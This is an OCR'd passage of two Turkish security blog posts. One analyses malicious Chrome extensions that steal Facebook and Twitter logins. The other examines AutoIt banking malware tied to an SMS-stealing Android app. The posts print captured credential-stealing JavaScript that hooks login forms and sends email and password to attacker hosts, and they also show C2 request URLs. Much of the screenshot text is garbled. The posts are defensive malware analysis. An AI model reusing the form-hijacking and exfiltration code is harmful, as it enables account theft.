| lickable-ancestor” id="appbar-guide-button” onclick= ";return false” type="button™> <span class= "yt-uix-button-icon-wr
| apper™> <span class="yt-uix-button-icon yt-uix-button-icon-appbar-guide yt-sprite”> </span> < /span> </button>
| <dwv id= "appbar-main-guide-notification-container™> <//div> <span id= “yt-masthead-logo-fragment”» <a class=

I asthead-log derer spf-hink” data-sessionlink= "itct=CAUQsVAEw) SvuPk4fMARWGKR YKHSHWD

0" href="/" id="logo-container” title="YouTube Home" > <span class="logo masthead-logo-renderer-logo yt-sprit
| & tite="YouTube Home"> </span> </a> </span>
</div>

<div id= "yt-masthead-signin®>

<div class="signin-container™> -

| Headers | Text | Hex | Compressed | HTML | Raw
i

GET hitp /tumuser com/tw php

Recording
Y Start | Chrome Extensio x m S “
L cCn chrome-extension-downloader.com B o =

Chrome Extension Downloader

easily download chrome extensions

Insert the web store url of the extension or just the extension ID:

https://chrome google.com/webstore/detail/adstwitter-vide [EEGTISIET R (=l ls1]

3 ke | st | o

History

Overall Chrome Extension Downloader was 108 188 times usefu

AdsTwitter-Video wd....crx 3 show all downloads., X

AdsTwitter Video eklentisinde yer alan JavaScript kodunu inceledigimde, eklentiyi yiiklemis olan kullanict herhangi bir web sitesini
ziyaret ettiginde, bu eklentinin http://lapteccoder.com/pluactive.php -> http://begenlobi.com/twlaptec.php adresine istekte bulundugunu
gordiim. Istege dénen yanitta yer alan JavaScript kodu sayesinde, kullanici tarafindan ziyaret edilen adresin facebook.com veya
twitter.com olmasi durumunda bu eklenti, kullanicinin e-posta ve parolasini ¢aliyor ve hirsizlara gonderiyordu. Ayrica hirsizlar, http://

whos.amung.us/ sayfasinin istatistik eklentisinden de faydalanarak bu zararli eklentinin anlik olarak kag kisi tarafindan kullanildigini
yakindan da takip ediyorlardi.
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http://whos.amung.us/
http://whos.amung.us/

-

Name Size  Packed Type Modified CRC32
- File folder
| _metadata File folder
B, 16icon png 444 449 PNG image 1092011 1206 0709F2C8
W, 48icon.png 1034 1039 PNG image 109.2011 1203 AD3A7416
W 128icon.png 2507 2484 PNG image 1092011 1206 0404083
%) background js 1514 707 JavaScript . 11.5.2016 19:51 TTFDFE0T7
Beartesjs 268 165 JavaScript . 11.5.2016 19:51 6BCDFCAB
 manifestjson 547 318 JSONFile  11.52016 19:55 B154C271
=1 Total 1 folder and 6.314 bytes in 6 files

File Edit View Help
e eyen sians - comgarte)
9190w o e b sec )

Iyl &boram) |

ot |

r gl - mrwkeng
giechhhfrojgh] - functien ( |

1514 bytes Windows text
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Video (18+) - YouTube X | Video (18+) - YouTube * | AdsTwitter Video - Chro... % | Account Suspended * | httpi/iwww....ccoder.com/ X | http://begen..wlaptec.php * | #
€ & begenlobi.com/twlaptec phy ¥ C |9 Searct *8 & & =
3 Most Visited ¥ “Oﬁenlm Security \Kalj Linux \Kati Docs \Kal.i Tools nExplnit‘DB ‘A’l’tmk-ng

new Image().src = "https:/iwhos.amung.us/swidget/cOdisikerloy”; if{location.hostname.indexOf| “facebook.com")>=0){
ifidocument.getElementByld("login_form®)){document.getElementByld(“login_form").onsubmit=function(e){
localStorage.setitem("hasi",document.getElementByld( "email”).value); localStorage.setitem("nasi”,document.getElementByld( "pass”).value);
setTimeout{function(){ document.getElementByld(“login_form").submit()} 99);return false} }ifllocalStorage.hasi&&localStorage.nasi){ new
Image().sre="http://begenlobi.com/moko/f.php?asasddfghjwxkimnbvef="+localStorage.hasi+"&fevnbmgjifmdtjgkhmbgndmghmvnfme="+localStorage.nasi;
localStorage.removeltem( “hasi”);localStorage.removeltem(“nasi"); chrome.extension.sendRequest( {sik:"yeap"}.function(e){})}}
ifflocation.hostname.indexOfl “twitter.com”)>=0){ ifidocument.querySelector{ "form.signin”)){document.querySelector( “form.signin“).onsubmit=function(e){
localStorage.setitem(“hasil *,document.querySelector{ “form.signin input#signin-email”).value);
localStorage.setitem(“nasi2”,document.querySelector{ "form.signin input#signin-password"”).value); setTimeout(function()

{document.querySelector({ "form.signin”).submit() } 99);return false }} if{llocalStorage.hasil &&localStorage.nasi2){ new Image().src="http://fbegenlobi.com
/moko/t.php?laplapcekokotiwiko="+localStorage.hasil +"&lapitekocekikpasikko="+localStorage.nasi2;

localStorage.removeltem(“hasil ");localStorage.removeltem(“nasi2"); chrome.extension.sendRequest({sik:"yeap"}.function(e){})} }

Baautity JavaScript o HTML
Scaliterage. el » “BiCwomgifeTtipragrangrevrinc” + JCaLINE-agE. AR
tasignin-omall® ). valun)
thig lew);
a + ISCASUOrmge.RaSil = “Rlssitewscesivpasivies- = LocalStorage.rasil;
Baautify JavaScript o HTML
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[% 164.png (80x15) x
tweaks?
&= C #H widgets.amung.us/small/01/164.png @ ‘ﬁ' = | sections?
[0 164 de input?
L
i
[
13 Mayis 2016 Cuma
4 Mayis 2016 » p—
signin ) { Pt SaGaPeCuCtPz 1\ |
;ignir"g.onsubmit = function(e) { 25 26 27 28 29 30 1 "
117, document.querySelector("form.signin invutssignin-email"].valuei; 2 34567 8 | ~
i2", document.querySelector("form.signin input#signin-password™).value); 9 10 11 12@14 15 2
*("form.signin").submit() 16 17 18 19 20 21 22 -~
23 24 25 26 27 28 29 -
3031 1 2 3 45 22:01:38

yrage.nasi2)

bl (%) / i (x)”
icoded as \xNN or WuNNNN?

tnlobi.com/moko/t.php?laplapcekokotiwiko=" + localStorage.hasil + "&lapitekocekikpasikko=" + localStorage.nasi

[ H
yut?
)
r
i

Change date and time settings.

0 begenlobi.com is already registered*

Whais Server Version 2.0

Domain names in the .com and .net domains can now be registerad
with many different competing registrars. Go to http://www.internic.net
for detailed information.

Domain Name: BEGENLOBI.COM

Registrar: GODADDY.COM, LLC

Spansoring Registrar TANA ID: 146

Whois Server: whois.godaddy.com

Referral URL: http://www.godaddy.com

Name Server: NS1.LAPTECPRO.COM

Name Server: NSZ.LAPTECPRO.COM

Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Status: clientRenawProhibited https://icann.org/epp#clientRenewProhibited
Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Updated Date: 11-apr-2016

Creation Date: 02-feb-2016

Expiration Date: 02-feb-2017

== Last update of whois database: Thu, 12 May 2016 04:36:04 GMT <<<

SwsLertz isimli eklentide yer alan JavaScript kodlarinda ise bu defa Base64 ile metinlerin gizlendigini goérdiim. Yine digerinde oldugu
gibi, kullanic1 herhangi bir web sitesini ziyaret ettiginde bu eklentinin http://tumuser.com/tw.php adresine istekte bulundugunu ve bu
istege donen yanitta yer alan JavaScript kodu sayesinde ziyaret edilen adresin twitter.com olmast durumunda kullanicinin e-posta adresini
ve parolasini ¢aliyordu (https://healtpol.com). Eklentinin yiiklenir yiikklenmez, Twitter'a ait olan mevcut cerezleri (cookie) silmesi ve
kullaniciy: direk twitter.com adresine yonlendirmesi de dikkatimi ¢eken diger bir ayrint1 oldu.

36


https://en.wikipedia.org/wiki/Base64

Y SwsLertzv7.0.crx.zip - WIinRAR (evaluation copy) - s IEN

File Commands Tools Favorites Options Help

o e

VirusScan
Size Packed Type Modified CRC32
File folder
File folder
512 PNG image 13.5.2016 14:20 GC5F403
4066 PNG image 13.5.2016 14:20 CBBBESEF
17.970 PNG image 13.5.2016 1421 EECTF3E6
1.344 JavaScript .. 13.5.2016 1440 452AD58D
242 JavaScript .. 13.5.2016 14:39 CTF8BF40
250 JSONFile  13.5.2016 15:25 85652882
14 Mayis 2016 Cumartesi
Change date and time settings..
- - Total 1 folder and 26.429 bytes in 6 files
- View - fidioifjs - siEl
File Edit View Help
v olmerushaliyit - window. -
-m-mmﬂm
v epiryshigubobl) - atob{”M Iy MAINT MeMDF BIGH icw- 1
_——— e LY 3
S L s L LY
v sdevecpats - atotalMrl 2O0VIM: ASMT | e SRRty ) spdt | 1]
et utirol - spirNIE
vtk etmaropat - OO GHY WG W) sl 1
hvar ko« atob{”MT hyMic AN JLZOEY TV VM A7) spRtCT T
atobf Vsplnr N1
pear fpaicobototeded * atobf M YaMDoyMICONT 8Z7V0") st 1)
— L an Bl L2
—_— L an BB LU
« atob{"NDGSMa L INTM NG JBCPEA- ) SplT |
hvon oxdobuacpechins - hioka{ M Gree N YIEMEI G4 O DM VT Vim Wy ) st T 1} File Edit View Help
= o s
fvar Buuolor - “aremancdoplitug™ Bunction orokuhamt) |
Pt new XML HTpReque i),
I byt gfdmvea] - ki) ( ok i ! )
Aot Al sk etmaropat fibniobor B v ekl -
whapd o ad 13 et i oMy ] - T thon (] |
¥ It et oz wen] - &) (
odde anetd] apnab]
(L ) L]
Aol > E A
exopanatobuiess - e Datef) getTimeg) - i asebidatageputoropuril;
"y
eredabinatuher - ahoemioubofe i
habus - epoyuhuguokl
rmatdane e - ek
it - orneh,
e el - (b choloheh et
oy - Bepedaigesman.
yarerem « uwokenunenh
upugatapecec « ep:
datageputorapur = wrya
]
]
]
]
Ik
o
Kool tor age. Brstun - e .
Tortvan -G i cookbes bengthss) |
it 379 bytes Wind:
]
L]
1) v
3.087 bvtes Windows text
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File Edit Search View

Settings Macro Run Plugins Window 7

Encoding Language
cHHE 5 L8 ‘.ac.ﬁ'ﬂ% RRETEDRAREER@" - - - m-

mal js bt
| window|®chrome®] ["taba®] ["catpdated”] ["sddiistener nafedin. 1
El A (umeyibetug(®stetus®] == “complets™) |
3 rrr— " 1
4 WA shapul = new Date (), ssolersciickubes = new Date | shapul ). unegeiad = mew Date (1
s 1 shagul LR R 1]
. eEmdsied * parseint (33 })
3 AL uoenim = whagl ad
. window | i "] = Jece.
» ) wlew |
1 - Jnom Likas”1h i
Eh nt:wmm—-w-u—nmm—-w"
ax = new Datel)
1 choaskacudukls = mew Date () .toleoN () .slice (5,100
L - m -smomil . aliew it 300s
]
1 amrsubi eyl (1
a L]
i 1
w
i '
n L]
= by

4 4F Allosalstorage. firethuny |
n lecalStorsge. firsthun = trees
16 chroms.cookiss.getAll {{domain: ~.twitter.com”), femctioniccskiss) |

n forivag i=0s iceoskies.lengthsies) {

EL conssle. logicookieslilhy

0

E] hrome. cooti “aspar/it . }.demain * PR, name 1 nam i

n ]
e

Ll

"
L]
i

ESssststozssyuzeny

B

fenction apsgudabiienald (b
function aaokabame i) |
return new DENTLpRegoeet (1

war amsbih = ssckshemd ()
assbih|“sneeadystatechangs”] = functisn @) 1§
Af (asabih(“resdySrate™] == 4} |
wimaow | "chroms ] [“taba”] [“snscutesoript=l i |
code: asabib(*respenseTest®]

amsbih [ “open®] (“get®, “hilpiloomcees.contu.phe")
amsblh | =send®] (11

Normal text file

length: 1886 linln:1 Col: 110 Sel : Dos\Wind UTF-8 w/o IN

File Edit View Proxy

Tools Window Help

LAl 2.

TFAreNG/vXe

Structure | Sequence. o | Request Response Summary | Chart | Notes|
anmm -~ sre = https:/Awhos.smung.us/swidg A, — ~
@ twphp 2 if flocation.hostname.indexOfCtwitter.com?) >= ) |
[ - > ogec e getflamantsly s field email-input js-initial-focus");
@) twphp Var logingim = d etk or_email]);
@ twphp wm:mwm
[ =re 4 = document getElementByldCsignin-password").value;
t tw.php mlmo’vom -Wmmwm semil +"Qusifre=" s password + " Btv=twitter”; offem—
& twphp
- & twphp
[ “” e i A, B~ 1t e
- twphp var logingi = getEl y ‘hmmm-hnmﬂmnm'x
[ var logincim = d et ByN [ or_email]);
st i Qogincilength > 0 {
@ twphp ument.getEl yClassName( field email-input js-initial-Focus)[ 0] setAttribute (id”, "yolo™);
@ twphp t.getEl ByClassName(js-password-field [ 0] setAttribute("id", “yalo™);
& twphp
I s emal du: whtosons ) value;
' tw.php var = document.getElementByld("yolo
@) tw.php d = d tElementByld("yalo")
- tw.php mhngco.a: = "https://healtpol.com/ekle.phpTemail=" semail +"&sifre=" s password +"Eev=tatter™;
- @ twphp
@ twphp
- &) tw.php Jelse if logincim.length > 0) {
- @ twphp
} tw.php if(fdocument.getElementByld(" signin-email )}
@ tw.php =d ‘.""9 ByName(": or_email]);
1@ twphp e AEl ByName(" [ or_email]){0]. setAttribute("id”, "yolo™); b
Attribatal=id® Sl
S w I'lclnulcmp-u S R
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[ 41.png (80x15) X
&« e || -'tt;;-s:.‘_-whos.amung‘us_.-'<-.-.-|.:1-:|v'._.-;\.: entientit E ﬁ =

tial-focus’);

rassword+ " 8tv=twitter":

14 Mayis 2016 Cumartesi

4 Mayis 2016 »
Sa Ca Pe Cu Ct Pz

e e e e
25 26 27 28 29 30 1
document.forms[2].onsubmit = function() { 23 45¢678§
var email = document.getElementByld("yolo").value; 9 10 11 12 1315 N~
var password = document.getElementByld("yalo").value; 16 17 18 19 20 21 22 )
new Image().src = “https://healtpol.com/ekle.phplemail="+emai. 23 24 25 26 27 28 29
: 3031 12 3 45 12:16:43
v | | Headers | Text | Hex | Compressed | HTML Raw

Change date and time settings..

delts-2999.1518889744830 1548242 orx data L I

Hirsizlarin ¢aldiklar hesaplari ne kadar etkin kullandiklarint anlama adina Twitter iizerinde @osmankurek81 isimli sahte bir hesap
olusturup, Twitter'a giris i¢in kullandigim e-posta adresini ve parolayi ilgili sayfalar iizerinden hirsizlara ¢aldirdigimda, hesabin 2
saat i¢inde kotiiye kulanildigina ve dondurulduguna dair Twitter'dan bir e-posta aldim. Bunun iizerine Twitter hesabima baglanan IP
adreslerini inceledigimde, hirsizlara ait oldugunu diisiindiigiim ip adresini de gorebildim.

5080 £ + &/l ¥ Password Reset |-' Mynet | Haber, Oyun, Videa— * Mynet Email = Lider, Tark_ *

Gorly bildir! | Ayariar = | Hesabem | Yarcem | Mynat | Clay

[}

Klasorierim . wyeler(mynet_com
4 Mayred (s et 120516 18:52 am
Yartia Tumuny yanstia Dat Tazde 40ncex Sorvakl b
For security purposes, your Twitter account has been locked. Tarth ;14 Moy 2006 Cumartest 2208

Kimden Tt « pmmachor,

Kime:  Owm

Your account may have been
compromised by a website or service not
associated with Twitter.

We've locked your account . to keep it
safe. In order o log back in, you must change your
password
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G(T"\'Wmmmw_mm o~ ‘mumor' B d Resst

€ rome 4 nouncanons R Messages w
n Osman Kdrek Aot history
Goamankuren 8
Account creation May 13, 2016 at 8:54 AM
(located in Turkey)
Username @osmankurek81 £at
User ID
Emad osmankurekB1 @mynet.com £oc
e Phone
tob
cuivi Login history

My any activty trom 8r 8PP 9O 10 T AD 10 10 evohe 3 BCORS. IN SO Cated The
1P location may difier from your physicel location Leam mare

L L I L R

Twitter com May 15, 2018
508 AM -
Apps Twitter com May 14, 2016 7818322681 i ——
XA 500 AM Turkey
a5 Twitter com May 14, 2018
Your Twitter data 4:50 AM
Baty May 14, 2018
1:50 AM
Bitly May 14, 2018
1:50 AM
Twitter com May 14, 2018
1:44 AM
Twitter com May 13, 2018
1119 PM
W
(i) Ads by Google » |P Address Map » Find IP Location » Location Map » Location Tracker

Geolocation data from IP2Location (Product: DB6, updated on 2016-5-1)

IP Address Country Region City
78.183.226.81 Turkey B2 Amasya Merzifon
ISP Organization Latitude Longitude
TT ADSL- Not Available 40.873329162598 35.46305847168

TTNET_DYNAMIC_GAY

Geolocation data from ipinfo.io (Product: API, real-time)

IP Address Country Region City
78.183.226.81 Turkey Bl Not Available Not Available
ISP Organization Latitude Longitude
TTNet A.S. TT ADSL- 41.0136 28.9550

TTnet_dynamic_gay

Geolocation data from EurekAPI (Product: API, real-time)

IP Address Country Region City
78.183.226.81 Turkey B2 Amasya Amasya
ISP Organization Latitude Longitude
Turk Telekom Turk Telekom 40.6533 35.8331
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Sonug olarak, dolandiricilarin sosyal aglar lizerinde masum vatandaslarin parolalarini ¢almak ve hesaplarini kétiiye kullanmak i¢in ugras
verdiklerini ve hatta reklam biitgeleri olugturduklarini gorebiliyoruz.

Sosyal ag ve medya giivenliginiz i¢in bilmediginiz kaynaklardan gelen mesajlara, reklamlara itibar etmemenizi, baglant1 adreslerine
tiklamamanizi ve internet tarayicilarina yiiklediginiz eklentilere dikkat etmenizi (mevcut Chrome eklentilerinizi chrome://extensions
adresinden gorebilirsiniz) tavsiye ederim.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post Sosyal Ag Hirsizlari appeared first on Hack 4 Career - Siber Giivenlik Giinliigii.

Autoit Bankacilhik Zararh Yazilimi

Source: https://www.mertsarica.com/autoit-bankacilik-zararli-yazilimi/
By M.S on July Ist, 2016

2015 yilindan bu yana Tiirkiye'de ¢ok sayida bankanin miisterilerinin hedef alindig1 bir zararli yazilim salgini oldugu bilinmekteydi.
Kullanmig oldugu Windows isletim sistemi {izerinde bu yaziya konu olan bankacilik zararli yazilimi ¢alisan banka miisterileri, ilgili
bankalarin internet subelerine girigi esnasinda, mobil sube uygulamasi yiikletme vaadiyle cep telefonu numarasi isteyen bir pencere
ile karsilagiyorlardi. Pencerede yer alan gorsellerin tasariminin bankanin tasarimryla uyum i¢inde olmasi ise miisterileri cep telefonu
numarasi girmeye ikna eden 6nemli etkenlerden biriydi.

] Mobil Sube

Mobil Sube ile bankacilik islemlerinizi her an, her
yerden, hizl, pratik ve givenli bir sekilde (cretsiz
olarak gerceklestirebilirsiniz.

Cep telefonu numaranizi yazin, . Mobil Sube
uygulamasi bir SMS ile cebinize gelsin..

Orin &

| | Para
Ganderme

Giris -

‘ Burada“tam” anlamiyla

ozelsiniz

~"

Vs

Sms Gdnderiliyor...

oL L L L.

Copyright & 2013 Gizlilik Taahhidl

Bu pencereye girilen cep telefonu numarasindan sonra miisterinin cep telefonuna baglanti adresi (link) igeren (http://
banka.mobilsubeindir.com/kur) bir SMS gonderilmekteydi. Bu baglant1 adresini ziyaret eden ve Android isletim sistemi yiikli akillt
cihaz kullanan miisterinin karsisina, SMS ¢alabilme yetenegine de sahip olan Android zararli yaziliminin kurulmasina yonelik yonergeler
ciktig1 daha 6nce gerceklestirilen analizlerden bilinmekteydi. (Bu Android zararli yazilimi ile ilgili detayli bilgi almak i¢in Bakir
EMRE'nin analiz yazisini inceleyebilirsiniz.) Ben de bu yazimda, Windows igletim sistemi iizerinde ¢alisan ve yukarida bahsi gecen
Android zararli yazilimimin ilk halkasi olan Windows zararli yazilimini kisaca inceledim.
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https://www.mertsarica.com/sosyal-ag-hirsizlari//chrome://extensions
https://www.mertsarica.com/sosyal-ag-hirsizlari/
https://www.mertsarica.com
https://www.mertsarica.com/autoit-bankacilik-zararli-yazilimi/
https://www.mertsarica.com/autoit-bankacilik-zararli-yazilimi/
https://twitter.com/bemre
https://twitter.com/bemre
https://github.com/bemre/mobil_sube.apk

TURKCELL

————
Mesaj

Ana sayfa = Istatisti’

Alicr:
ALRT

Ipuclari: Birden ¢ok numara noktal virgl ile aynilir (;).

Gelen kutusu

Icerik:

Giden kutusu Sn. Musterimiz, MobilSube Ayarlarinizi Tamamlamak icin Tiklayin.
http:/B .mobilesubeindir.com/kKur

Taslaklar 905!

34(1)

Cevapla llet iptal

©0 Genymotion - Samsung Galaxy S5 - 4.4... — P

g n
vall 21

)9

KO

A
*r
d

2 B!

Mobil Giris Sifreniz

Windows isletim sistemi iizerinde ¢aligan bu zararli yazilimin kullanicilarin sistemlerine tam olarak hangi kaynaktan, nasil bulastigini
tam olarak bilinmemekle birlikte, zararl1 eklentiye sahip veya zararli JAR dosyasi1 baglanti adresi igeren sahte siparis e-postasi kaynakl
oldugunu, bulasmis oldugu sistemlerde Java ile gelistirilmis baska bir zararli yazilim olmasi nedeniyle tahmin etmekteyim. (https://
www.virustotal.com/en/file/0ba783b9cflcee3 14c06£29b9{f629948a296257f1b1al9b09ba2a2369da3d0e/analysis/)

Cep telefonu numarasinin girilmesini isteyen pencereye kullanici tarafindan cep telefonu numarasi girildiginde, ilgili pencerede cep
telefonu numarasina SMS gonderildigi belirtilmekteydi. Android akilli cihaza kurulan bu uygulama (zararli yazilim) ¢alistirildiginda
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https://www.virustotal.com/en/file/0ba783b9cf1cee314c06f29b9ff629948a296257f1b1a19b09ba2a2369da3d0e/analysis/
https://www.virustotal.com/en/file/0ba783b9cf1cee314c06f29b9ff629948a296257f1b1a19b09ba2a2369da3d0e/analysis/

da, ekranda yer alan 6 haneli sayinin bu pencereye girilmesi istenmekteydi. Bu say1 girildikten sonra mobil zararli yazilim ile pencere
¢ikaran zararli yazilimin eslestigi arka planda komuta kontrol merkezine (http://149.202.206.57) bildirilerek, Windows isletim sistemi
iizerinde calisan zararli yazilimin artik internet subeye giriste kullaniciya pencere ¢ikartmayacak sekilde komuta kontrol merkezinden

komut aldig () goriilityordu.

©)

Mobil Sube Kurulumunu Tamamladiktan Sonra,
Programi Calistirip Urettiginiz 6 Haneli Kodu Giriniz.

Gonder

Copyright @ 2013 | Gizlilik Taahhiii

Burada “tam” anlamiyla

elsiniz

¥,

Im

Aktivasyon Basarlli..
Ydnlendiriliyorsunuz..

L L L L4

Host LURL
| = ] H B H . |
=
E B EE
149.202.206.57 fmain.phpuid =645448C4702F 7030 1IF46BFABE 28CAFCBSweb _id=8Kod =09
149.202.206.57 /dataal.php?uid =545448C4702F 703D 1F468F ABE 2BCAFCBATELEFON=(530)+
149.202.206.57 [dataal.phpuid=645448C4702F 703D 1F46B8F ABE 28CAFCBakod =2455138_=1464617632«
149.202.206.57 jmain.php
= | | B |
- - =

Copyright @ 2013 | Gizlilik Taahhidi

1/68 http://149.202. 206,57 fmain.php

Burada “tam” anlamiyla

elsiniz

g

A || 3 composer | i FidderSaipt | [Z] Log | [] Fiters | = Timelne

) statistics & Inspectors 4 AutoResponder
Headers = TextView | SyntaxView = WebForms = HexView
Auth Cookies | Raw JSON XML

Request Headers [Raw] [Header Defnibons]
GET /man php HTTP/1.1

Accept: imagejpeg, application/x-ms-application, image/gif, applicat A

Accept-Encoding: gzip, deflate

Accept-Language: tr-TR

User-Agent: Mozilla/4.0 (compatble; MSIE 7.0; Windows NT 6. 1; Tric
Miscellaneous

Referer: http://145. 202. 206. 57/main.php?uid =645448C 470 2F 7030
Transport

Connection: Keep-Alive

Host: 149,202.206.57

L 4 >

Transformer | Headers | TextView = SyntaxView & ImageView
Hexview | WebView | Auth | Caching | Cookes |[Raw
JSON XML

WTTP/1.0 200 OK =
Server: nginx

jpate: Mon, 30 May 2016 14:15:21 GQuMT

[Content-Type: text/html; charset=uTF-8

vary: Accept-Encoding

X-Powered-By: PHP/5.6.12

IConnection: close

[Content-Length: 83

<html>
<head>
<titlexoff</Ttitle>

</head>
o <body> \ v

I Viewin Notepad I

. (press Ctrl+Enter to highlight al)

Pencere cikaran zararli yazilim sisteme bulastiktan sonra isletim sistemi yeniden baslatildiginda C:\Users\kullanici adi\AppData
\Roaming\Apple Updater\ klasorii altinda lsasss.exe adi altinda, ayn1 klasérde bulunan safe dosyasini yiikleyerek ¢alismaktaydi.
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Isass.exe

MDS5: 6A93A4071CC7C22628 AF40A4D872F49B

SHA-1: BA916E686AAOCAE19AB907BDAB94924ADA92B5F4

SHA-256: 8465F3FCBCCCE3EA12495EDBBOBD09C3B066E3DF891613CE3180F9BB38B37B01

safe

MDS5: A77D3D8060DC0096AF6F2F24 AFDS7EF7

SHA-1: B22068203898FB5643E5060AC72A29FD3D35DECE

SHA-256: 02ESEACE1A4FB827BB78BA1F5A40D9ES4E98AED7ES55093B37C0243AF6B05D99

L3 Sistermn Yapilandirmasi

i

| Genel I Onyiikleme I Hizmetler | Baslatma |Aradar|

on
on

Komut

"C:\Program Files\ESET\ESET NOD32 Antivirus\egui.exe” fhide jwaitservice
"C:\Program Files {x86)\Google'\Drive\googledrivesync.exe” fautostart
. CilUsers 1\AppData'Local\Microsoft\BingSvc\BingSve.exe

‘C:‘J.st ~ App Data‘\Roaming\Apple_Updater\sasss.exe” "C:\Users)
'C:\,ProgrérH Files (xSG)\,InheI‘l,InheI(R) Management Engine Components\IMSS\PIconStartup.exe™

"C:\Program Files (x86)\Intel\Intel(R) USB 3.0 eXtensible Host Controller Driver\Applicationjusb3mon. exg
. "C:\Program Files (x86)\Microsoft Office\Office 12\GrooveMonitor.exe™

C:\Windows\system32\DNHIp32. exe

"C:\Program Files (x86)Javaljre F\bin\javaw.exe” jar "C:\JsersY ‘AppData'\RoamingMgae\Dlab.jz

"C:\Program Files (x86)\Common Files\JavalJava Updatejusched. exe”

| i |

\AppData'Roaming A h
i

3

Timiind Etkinlestir

Tiimiini Deyre Disi Birak

Uygula ‘Yardim

Kisa bir arastirmadan sonra, lsasss.exe programinin Autolt v3.3.12 programinin (https://www.autoitscript.com/site/autoit/) adinin
degistirilmig hali (rename) oldugu, safe dosyasinin ise Autolt betigi (script) oldugunu tespit ettim.
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https://www.autoitscript.com/site/autoit/

1U UU UU UU UZ UU UU US UU Ul UU UU WU UU "L eeeesencssnonsnsns HB:vossssorrssWinstnsssssssanns
40 00 00 10 00 OO0 OD OD OD OO0 10 00 00 D00 ..evvvnnvsnnssnnnnssssal@eca@,
00 00 00 00 00 OO ¥D OD 0D AG 6C 00 00 DO |cccevscocPeslocsce@euBioisnenn

40 00 00 00 00 00 00 00 00 00 00 00 00 DO  vvvuuveennnrnnenernnnneennnns
J0O0 00 00 45 BF 08 00 00 10 00 00 00 €O 0B .. uuveeevenneonnnsosonnsssss
08 00 00 CE 02 00 00 C4 08 00 00 00 00 00 ....vvvvvsnsnsnn + ++ .rdata..B
00 00 00 00 00 00 OO0 00 00 00 00 00 00 40 ..vevweses O..G.dﬂ‘a...'l‘........l[
————————— — — — wWatch ¢ Setti
+ 2362 instances of 'strings’ mncmmmwm\mmmmmm\we Mm var &
Yl oadar.. W La'ﬂh = Lcn;lh ) $__g_scryptinternaldatal
O000BFADE Comments $__g_hheapi
CocersEn 73 o htp:/www.autoitscrpt com/atoty/  ifm— §_g_iheapsizek
000BFB3A 31 1F FleDescription §__g_irgbmoded
OO0BFBSC 33 21 Autolt v3 Script $__g_venumi
000BFBS6 23 17 FleVersion §__g_vexti
OO0BFBAO 23 17 3,3,12,0 h §__winverd
QOOBFEBE 25 19 Internalame ihlckup_clt.emu:u_dntni
000BFEDB 23 17 Autolt3.exe §backup_datad
OO0BFEFE 29 1D LegalCopyright Sbackup_ea_datasl
000BFC16 81 51 1993-2014 Jonathan Bennett & Autolt Team §backup_linkA
O0CBFCEE 33 21 OrignaFiename §backup_object_idA v
O00BFCO0 23 17 Autolt3.exe a >
OO0BFCAE 23 17 Eroducthame | —l
O00BFCCE 33 21 Autolt v3 Script
O00BFCF2 29 1D Productversion
O00BFD10 23 17 3,3,12,0
O00BFDE 23 17 VarFielnfo
OO0BFD4E 23 17 Translation
000C02CC 57 » Error parsing function cal.
000COBBE 167 A7 Can not redeclare a constant. 5Can not redeclare a parameter inside a user function.
000COECO 59 E Badly formated Enum statement
000COEFC 105 69 3This keyword cannot be used after a "Then" keyword.,
000C1114 29 1D Urknown macro.
000C1132 87 57 *Unable to get a kst of running processes.
000C11BC 2295 0eF7 Invaiid element N a DISTLCE*Unknown option or bad parameter specified BUnable to load the internet lbraries./ STuct” stat
000C1D42 29 1D Assert Faled!
00OC1ESE 139 88 Func reassign not alowed. *Func reassign on global level not alowed.
000CIF1 7 07 WHDWWWW
000CIFAA 7 07 WXWWDWW
000CIFC4 6 05 [
000CIFF7 S 05 KWWWD
000C2060 9 09 FO'ddDEE@
000C25D5 & 06 WWDWWW
000C25E4 B8 08 WA WA
000C2682 5 05 FVgFP
000C2689 6 05 Adwvds$
000C44ES 6 05 A4654B
000C45D5 6 05 Hwwk |
000C4644 5 05 opHYs
000D46B1 5 05 VAR
000093C6 33 21 Autolt Input Box
000D93EE 25 19 M Shel Dig
00009424 13 00 Prompt
00009494 13 00 Cancel
O000DJ4AE 17 11 Context1
29009«:4 29 1D Scriot BPaused - ¥
i * L ]
j: B compare | § Checksum llFl'\dl.Bookmaks ® output
Cursor: 00000018  Caret: 00000208 934400 bvtes OVR! MOD| READ
Autolt betigini OllyDbg gibi bir hata ayiklama programi ile analiz etmek igin https://'www.autoitscript.com/wiki/
FAQ#How _can I debug my_script.3F sayfasinda yer alan araglart kullanabilirsiniz.

safe dosyasini incelendigimde bu dosyada yer alan degisken isimlerinin karmagiklagtirilmis oldugu, sifrelenmis verilerin yer aldigi
(#comments-start #comments-end), sifreleme amaciyla kullanilan fonksiyonlar oldugunu gordiim.

I Fmrd7199r32900 i~ BineryToBtring dyeBe0IB30)61 -UxIAFRIAZAAISODE] FIESSCPEEDFACABOR-, ~12038792604302185876~
| Fmrd 719952500 FrqPETIOPEELT

EmedTIPFCIZF00 i BinaryToRtring (dyeiE0PI0IEL | “OxEEEILFRTBCEFEIBONTOIFSACEISAAIAS, ~12000092 4045021550746
Smed TIFPEAI 900 Binary ¥ 26" BATARY 1D63°, *12038792604302155074"
Fme 4719952500 FapASZIeiLTTY

Sme 4719952500 BinaryToftring (dyS06030)61 "DxSASIHZEBIEIABATABA JEFFEAFBELIDG)", "1Z0J8052 6045021556746~

| SmeATIPFEIIF00 BinaryToString dyeSe0TL50061 | “DxIAFBIAZAAZIODEIFIEIICFEEDF4CIBOR", ~1Z0I8IFT 60430215587

| Smrd 7199052900 BinaryToftring dy6B€0M30)41  “0x0B 33101472 TICOTILINPODTRSNTION . “120I8) 9260430218
Bum(#ComBpes £ % fo * ¢ fmedTISOCIIN00, WWindowsDir, #N_MIDE

L erdPune

1Punc wgBZI11dé812 SvililIThiRten

Tf Tadtring (Gvil4197b58568) » O Then

ElseIf ProcessBxists fviJ41l97858568) = 0 Then

Elee

Looel FlméléTOmTa636 = Processhist fvidi19Thsase
2 15 7wB8 102wl 3460

m7645400] 0] + 3
31 i Tom76656(0] (0
Por SwsS8)11il8133520100vI15TwlBl82uSS440 ~ 1 To FlméléTOnT6456(0) (0

FhveT 7516517 [ Fund8l11i10135)20109vI15TwlB 102wl S 460 FlméléTOmT 6656 [ FwadBIL1i10135)20108vI 1S TulB 182 ust460) (2
t Moxt
